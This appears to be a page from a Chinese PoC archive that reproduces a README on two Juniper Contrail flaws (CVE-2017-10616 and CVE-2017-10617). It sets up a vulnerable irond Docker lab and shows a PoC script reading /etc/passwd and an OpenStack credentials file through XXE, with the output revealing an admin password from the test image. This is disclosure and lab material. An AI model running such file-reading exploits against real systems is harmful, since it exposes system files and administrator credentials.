目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2017-10617 PoC — Juniper Contrail 安全漏洞

来源
关联漏洞
标题: Juniper Contrail 安全漏洞 (CVE-2017-10617)
Description:Juniper Contrail是美国瞻博网络(Juniper Networks)公司的一套基于云的安全解决方案。该方案为云和NFV提供智能自动化、应用程序安全性和可靠性。 Juniper Contrail中的ifmap服务存在XML外部实体注入漏洞。远程攻击者可利用该漏洞检索敏感的系统文件。以下版本受到影响:Juniper Contrail 2.2版本,3.0版本,3.1版本,3.2版本。
Description
Contrail: hard coded credentials (CVE-2017-10616) and XML External Entity (XXE) vulnerability (CVE-2017-10617)
介绍
# CVE-2017-10616 & CVE-2017-10617

These two vulnerabilities affect Juniper Contrail version 2.2, 3.0, 3.1 and 3.2:

* Hard coded credentials (CVE-2017-10616)
* XML External Entity (CVE-2017-10617)

Vendor security bulletin can be found at [Juniper Security Alert JSA10819 2017-10](https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10819&actp=METADATA).

The vulnerable service in Contrail product is an IFMAP daemon, which is packaged from [irond](https://github.com/trustathsh/irond). To keep things simple, let's continue with irond and exploit of the XXE vulnerability.

## Vulnerable Docker image of irond

We all love to play. To build the image:

```
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
```

The image is based on maven alpine image, with a clone of irond repository.

A test file matching Contrail's setup is put onto vulnerable image at `/etc/contrail/openstackrc`. This file contains OpenStack admin password, which is a rather sensitive asset.


To start a vulnerable IFMAP service:

```
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
```

IFMAP service is now available on port 8443 of local machine.

## Proof of concept: reveal local files

Once a vulnerable IFMAP service is setup, do the following:

```
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
```

This effectively reveals the OpenStack admin password.

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →